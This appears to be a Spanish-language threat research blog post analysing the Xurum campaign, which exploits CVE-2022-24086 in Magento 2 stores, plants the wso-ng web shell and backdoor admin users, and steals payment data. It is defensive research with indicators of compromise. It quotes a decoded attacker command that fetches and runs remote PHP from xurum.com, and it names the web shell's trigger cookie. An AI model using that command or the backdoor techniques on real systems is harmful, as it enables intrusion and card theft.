¿Necesita Cloud Computing? Empiece ahora

Xurum: Descubrimiento de una nueva campaña contra Magento

Ha habido al menos siete grupos de amenazas dirigidas a tiendas Magento desde 2015, lo que pone de manifiesto la importancia de la plataforma y el éxito que los atacantes han logrado a través de este exploit.

Investigación realizada por: Ron Mankivsky, Dennis German, Chen Doytshman y Maxim Zavodchik

Coautora: Tricia Howard

Resumen ejecutivo

  • Los investigadores de Akamai han descubierto una campaña en curso de inyección de plantillas del lado del servidor (CVE-2022-24086) que está explotando sitios web de comercio digital. Esta campaña está dirigida a tiendas Magento 2 y la hemos denominado Xurum, en referencia al nombre de dominio del servidor de mando y control (C2) del atacante. 

  • Hemos observado actividad en esta campaña desde al menos enero de 2023. El atacante parece estar interesado en las estadísticas de pago de los pedidos realizados en la tienda Magento de la víctima en los últimos 10 días. 

  • Este atacante registra un nuevo componente Magento y lo enmascara como "GoogleShoppingAds".

  • A continuación, utiliza un shell web avanzado denominado "wso-ng" que solo se activa cuando envía la cookie "magemojo000" al componente de puerta trasera "GoogleShoppingAds". 

  • La página de inicio de sesión del shell web se hace pasar por una página de error que contiene un formulario de inicio de sesión oculto que intenta obtener las credenciales de la víctima.

  • El atacante crea un usuario administrador de puerta trasera en Magento, llamado "mageplaza" o "mageworx", otro truco de engaño, ya que esos son los nombres de las populares tiendas de extensiones de Magento.

  • Entonces emplea la antigua vulnerabilidad Dirty COW (CVE-2016-5195) para intentar la derivación de privilegios dentro de Linux. 

  • Las pruebas indican que esta amenaza es de origen ruso. 

  • Se observó que algunos de los sitios web involucrados en esta campaña estaban infectados con sencillos sistemas de ataque de robo de información basados en JavaScript que no intentaban ofuscar ni ocultar su existencia.

Introducción

El comercio digital es un sector muy atacado por los ciberdelincuentes en general, pero la gran popularidad de Magento lo ha convertido, por desgracia, en un objetivo especialmente atractivo (y lucrativo). En concreto, el ataque más notable es el de Magecart,  cuyo objetivo es implementar ataques de robo de información basados en JavaScript para obtener de forma ilícita información confidencial de los usuarios. Estos atacantes de Magecart aprovechan vulnerabilidades web muy conocidas para llevar a cabo esta adquisición.

Ha habido al menos siete grupos de amenazas dirigidas a tiendas Magento desde 2015, lo que pone de manifiesto la importancia de la plataforma y el éxito que los atacantes han logrado a través de este exploit.

A principios de 2022, surgió la vulnerabilidad CVE-2022-24086, que permitía a los atacantes explotar el motor de plantillas de Magento y ejecutar código PHP arbitrario en objetivos susceptibles. La vulnerabilidad se ejecuta en varios pasos, con vectores de ataque comunes que abusan del proceso de pago o de la funcionalidad de la lista de deseos. Desde su aparición, esta vulnerabilidad se ha convertido en el principal punto de entrada para numerosos atacantes de Magecart que tienen como objetivo tiendas Magento 2 vulnerables.

En los últimos meses, Akamai ha estado supervisando de cerca una campaña dirigida específicamente a un número relativamente pequeño de implementaciones de Magento. Llamamos a la campaña Xurum para hacer referencia al nombre de dominio del servidor C2 utilizado por los atacantes.

Explotación de CVE-2022-24086 como acceso inicial

Durante la campaña en curso, observamos que los atacantes intentaban ejecutar dos cargas distintas desde un total de cuatro direcciones IP (Figura 1). Estas IP están asociadas a la infraestructura de dos proveedores de alojamiento: Hetzner en Alemania y Shock Hosting en Estados Unidos.

direcciones IP Fig. 1: direcciones IP observadas asociadas a Xurum

La primera variante ejecuta la función PHP "file_get_contents" y envía una solicitud al servidor C2 xurum.com del atacante para determinar si el servidor es vulnerable a CVE-2022-24086 (figura 2), mientras que el blob en Base64 se decodifica en https://xurum.com/mo.

Script de prueba. Fig. 2: script de prueba para la vulnerabilidad CVE-2022-24086

La segunda variante es la carga de segunda fase, en la que los atacantes descargan y ejecutan su código PHP malicioso, que se aloja en el mismo servidor xurum.com . Para evitar su detección, el segmento del exploit responsable de descargar y ejecutar el código PHP malicioso remoto se oculta mediante codificación Base64 y se ejecuta a través de la función PHP "shell_exec" (Figura 3). La parte oculta se decodifica como php -r "`wget -qO- https://xurum.com/b.txt`;".

Código PHP oculto mediante codificación Base64 y ejecutado a través de la función PHP "shell_exec". Fig. 3: carga de Xurum codificada en Base64 para evadir detecciones

Zona de descarga de xurum.com

Durante nuestra investigación del servidor xurum.com, se hizo evidente que está ubicado físicamente en los Países Bajos (Figura 4) y alojado por la empresa de alojamiento rusa VDSina.ru (Figura 5).

El servidor xurum.com se encuentra físicamente en los Países Bajos. Fig. 4: información de la IP del servidor xurum.com
Empresa de alojamiento rusa llamada VDSina.ru. Fig. 5: xurum.com está alojado por la empresa de alojamiento VDSina.ru

En el momento de nuestra investigación, este dominio no figuraba como malicioso en numerosos sitios conocidos de evaluación de amenazas (Figura 6). Esta aparente legitimidad genera una mayor confianza en el usuario y permite que la operación del atacante pase prácticamente desapercibida.

Muestra el dominio xurum.com como no malicioso. Fig. 6: información de VirusTotal que indica que el dominio xurum.com no es malicioso

¿Qué significa "xurum"?

Como hay varias iteraciones de este ataque, decidimos llamarlo xurum para distinguir esta campaña del resto.

Con frecuencia, los atacantes emplean distintas convenciones de nomenclatura para sus dominios o malware, que, de manera inadvertida o deliberada, les sirven como distintivo. Durante nuestra investigación sobre el significado de "xurum", encontramos dos posibles interpretaciones.

Según el Traductor de Google, xurum se define como "bien" en latín, con el significado de "hacer lo correcto" (Figura 7). Por otra parte, el diccionario WordSense indica que xurum es la palabra correspondiente a "chico" en una lengua extinta que se hablaba en Guatemala (Figura 8).

Según el Traductor de Google, xurum se define como "bien" en latín, con el significado de "hacer lo correcto". Fig. 7: el Traductor de Google detecta "xurum" como una palabra latina
Traducción de "xurum". Fig. 8: WordSense traduce "xurum" como "chico" en sinacantán

Tenga en cuenta que, en el momento en que se escribió esta entrada del blog, los atacantes han desactivado su servidor xurum y se han trasladado a otro que parece estar todavía en fase de control de calidad.

Filtración externa de información de los pedidos y creación de puertas traseras en Magento

El script PHP malicioso que se descarga del servidor xurum y se ejecuta en el equipo afectado consta de varias fases de infección.

En primer lugar, recopila información técnica sobre la víctima, como:

  • Versión de PHP.

  • Si el exploit aterrizó en el directorio "/pub" (estructura de directorios común en Magento).

  • Si el archivo "/var/www/html/vendor/magento/google-shopping-ads/registration.php"  existe y es editable .

  • El contenido del archivo "env.php", que incluye información crucial de la aplicación Magento, como ajustes específicos del entorno, pero también secretos como la clave de cifrado utilizada para proteger datos confidenciales como contraseñas, datos de tarjetas de crédito e información de los clientes.

A continuación, decodifica un blob oculto en Base64 y lo escribe en el archivo "/var/www/html/vendor/magento/google-shopping-ads/registration.php" (Figura 9).

Decodifica un blob oculto en Base64 y lo escribe en el archivo "/var/www/html/vendor/magento/google-shopping-ads/registration.php". Fig. 9: un blob oculto que contiene un enlace a un shell web se escribe en "registration.php"

El nuevo archivo tiene un contenido interesante. En lugar de mantener su propia copia de un shell web y alojarla en su servidor C2, el código del archivo nuevo apunta a un repositorio público de GitHub propiedad de un investigador de seguridad llamado "Bad Advertiser" o "@0xbadad". Dentro de este repositorio, hay un shell web conocido llamado wso-ng. Sin embargo, lo que resulta especialmente interesante es que el shell web no se registra en el disco del servidor. Sino que se obtiene y ejecuta únicamente en la memoria cuando se accede a la página recién creada "registration.php". Para protegerse aún más contra los accesos no autorizados, los atacantes también requieren la presencia de una cookie específica, "magemojo000", en la solicitud para que el shell web se ejecute correctamente.

A continuación, el atacante registra la nueva funcionalidad del shell web como un nuevo componente de Magento enmascarado como "GoogleShoppingAds" (Figura 10).

El atacante registra la nueva funcionalidad del shell web como un nuevo componente de Magento. Fig. 10: el shell web wso-ng se hace pasar por el componente GoogleShoppingAds

Después de instalar la puerta trasera, los atacantes extraen información sobre los métodos de pago de los pedidos de venta de los últimos 10 días y filtran estos datos a su zona de descarga de xurum.com, junto con la información técnica recopilada anteriormente (Figura 11).

 Recopilación de información a lo largo del tiempo. Fig. 11: recopilación de información sobre pedidos realizados en los últimos 10 días

En el último paso, los atacantes crean un usuario administrador de puerta trasera con el nombre "mageworx" (o "mageplaza" en algunas variantes). Estos nombres corresponden a las populares tiendas de extensiones de Magento 2, Mageworx y Mageplaza (Figura 12). Esta elección de nombres parece ser un intento de camuflar sus acciones como si se tratase de actividades legítimas relacionadas con estos reputados proveedores de extensiones.

Nótese un detalle interesante en las direcciones de correo electrónico de los usuarios de puerta trasera. Hay una doble "z" en "mageplazza" en la dirección de correo electrónico developer@mageplazza.com, mientras que el dominio legítimo de la tienda tiene una sola "z" en su nombre mageplaza.com, por lo que parece una errata de los atacantes. Existe una errata similar en la dirección de correo electrónico del otro usuario de puerta trasera: support@magaworx.com,  con una "a" en lugar de una "e" como en el nombre original de la tienda Mageworx.

 Nombres correspondientes a las populares tiendas de extensiones de Magento 2, Mageworx y Mageplaza. Fig. 12: los atacantes crean el usuario administrador de puerta trasera mageworx o mageplaza

Nueva generación de shell web: wso-ng

Un shell web es un script o fragmento de código malicioso que los atacantes cargan y ejecutan en un servidor web para obtener acceso y control no autorizados sobre el servidor y sus archivos y datos subyacentes de forma persistente.

En esta operación, los atacantes aprovechan el avanzado shell web llamado wso-ng, que, como se ha mencionado anteriormente, fue creado por un investigador de seguridad hace varios años. Como afirma el autor, wso-ng es una nueva generación del antiguo y famoso WSO (del inglés Web Shell by Orb). 

Además de la funcionalidad típica de los shells web, como la recopilación de información del sistema y la gestión de archivos y SQL, wso-ng tiene otras características notables que lo hacen destacar (Figura 13).

Shell web wso-ng. Fig. 13: un vistazo al shell web wso-ng

Nuevas características

Una de estas nuevas características es la página de inicio de sesión oculta. Al acceder a la página, esta responde con un código de estado HTTP 404 No encontrado, dando la impresión de que la página no existe. A primera vista, el contenido visible parece estar en blanco (Figura 14). Sin embargo, al inspeccionar el código fuente de la página, se descubre un formulario de inicio de sesión oculto.

El formulario se oculta de forma ingeniosa al usuario mediante un sencillo truco de CSS, por el que se desplaza 1000 píxeles a la izquierda, manteniéndolo fuera de la zona visible. Este formulario de inicio de sesión oculto está diseñado para esperar a que el usuario escriba la contraseña.

 Página de inicio de sesión de wso-ng. Fig. 14: la página de inicio de sesión de wso-ng aparece en blanco, aunque tiene funcionalidad oculta

Además, wso-ng se integra con VirusTotal, lo que permite realizar comprobaciones automáticas de la reputación de IP del equipo infectado. Por otra parte, consulta automáticamente SecurityTrails, un servicio proporcionado por la reputada empresa de inteligencia sobre amenazas Recorded Future e IPinfo para obtener información sobre otros dominios alojados en el mismo servidor.

El shell web también posee funciones ofensivas e intenta evadir los entornos de pruebas PHP de las empresas de alojamiento. Emplea varias técnicas, incluidos los exploits fastCGI y php add-filter, para eludir correctamente las funciones de PHP desactivadas. Asimismo, ofrece una función de sugerencia automática de exploits de derivación de privilegios locales compatibles con la versión de Linux concreta en la que se aloja el shell web.

Se proporcionará un análisis más detallado de este shell web en una próxima entrada de blog.

Elevación de privilegios con un Dirty COW tradicional

Encontramos otra herramienta interesante en el arsenal de los atacantes en el servidor xurum.com: un exploit público de un CVE-2016-5195 más antiguo denominado Dirty COW para derivaciones de privilegios locales en Linux (Figura 15).

 Abuso de Dirty COW para la derivación de privilegios en Linux. Fig. 15: captura de pantalla del abuso de Dirty COW para la derivación de privilegios en Linux

Infección mediante ataque de robo de información web

Dado que muchos de nuestros clientes del firewall de aplicaciones web (WAF) mitigaron esta campaña de manera eficaz, no observamos directamente otras acciones llevadas a cabo por los atacantes. Sin embargo, durante nuestra investigación, observamos nombres de sitios web que estaban indirectamente relacionados con esta campaña y que aparecían en el encabezado HTTP de origen o referencia de la solicitud del exploit.

Al menos uno de estos sitios web estaba infectado con un sencillo sistema de ataque de robo de información web. El sistema de robo de información se instaló en la página principal sin aplicar ninguna técnica de ofuscación. Recopilaba la información de la tarjeta de crédito y la extraía a una zona de descarga alojada en "smileface.site" (Figura 16).

Captura de pantalla del sistema de robo de información web instalado. Fig. 16: sistema de robo de información web instalado en uno de los sitios web que investigamos

Al intentar acceder, este sitio web responde con un frío mensaje "Get out!" (Figura 17).

El sitio web responde con el frío mensaje "Get out!" instando a salirse de él. Fig. 17: respuesta de smileface.site al intentar acceder

La información de la IP muestra que el servidor se encuentra en Moscú y está alojado en el servicio de alojamiento ruso "reg.ru" (Figura 18).

La información de la IP muestra que el servidor se encuentra en Moscú y está alojado en el servicio de alojamiento ruso "reg.ru". Fig. 18: smileface.site se aloja en el servicio de alojamiento reg.ru

Resumen

Nuestra investigación sobre esta campaña indica que se remonta al menos a finales de enero de 2023. Los atacantes han mostrado un enfoque meticuloso, dirigiéndose a instancias específicas de Magento 2 en lugar de esparcir sus exploits por Internet de forma indiscriminada. Demuestran un alto nivel de experiencia en Magento e invierten un tiempo considerable en comprender su funcionamiento interno, configurar la infraestructura de ataque y probar sus exploits en objetivos reales.

Esta campaña sirve como ejemplo práctico de cómo las vulnerabilidades más antiguas siguen siendo explotadas años después de su aparición, mientras las empresas se esfuerzan por adaptarse con parches y medidas de seguridad.

Recomendaciones de seguridad

Para evitar el acceso inicial al servidor, se recomienda a los profesionales de la seguridad que se mantengan al día con los parches más recientes y que los complementen con la implementación de un WAF, como App & API Protector de Akamai.

Dado que el objetivo principal de estos atacantes de Magecart es infectar las páginas de Magento con sistemas de robo de información web para sustraer los datos de las tarjetas de crédito de los clientes, se recomienda encarecidamente el uso de soluciones de seguridad específicas adicionales. Estas soluciones deben proporcionar visibilidad sobre los comportamientos de los scripts del navegador y defender contra los ataques del lado del cliente.

Un enfoque eficaz consiste en implementar medidas de seguridad más próximas al lugar donde se producen los verdaderos ataques a los clientes. Esto incluye la identificación de intentos de lectura de campos de entrada confidenciales y la filtración externa de datos. Recomendamos recopilar estos eventos lo antes posible para facilitar una mitigación rápida y eficaz con la ayuda de productos de seguridad como Page Integrity Manager de Akamai.

No se lo pierda

Durante nuestro análisis de los recientes intentos de ataques de Magento CVE-2022-24086 contra nuestros clientes, descubrimos campañas adicionales que se están investigando en estos momentos. Seguiremos investigando y compartiremos nuestros hallazgos con la comunidad de seguridad. Para obtener más información sobre las últimas investigaciones en seguridad, síganos en Twitter.

IoC

Los siguientes indicadores de compromiso (IoC) se presentan para ayudar a la comunidad a detectar la actividad maliciosa descrita en la publicación.

Valor

HTTP

104.36.229,168

IP atacante

95.216.95,178

IP atacante

95.216.94,99

IP atacante

65.21.85,21

IP atacante

xurum.com

Dominio de alojamiento del malware

/var/www/html/vendor/magento/google-shopping-ads/registration.php

Nombre de archivo

mageworx

Usuario de Magento

mageplaza

Usuario de Magento

developer@mageplazza.com

Dirección de correo electrónico

support@magaworx.com

Dirección de correo electrónico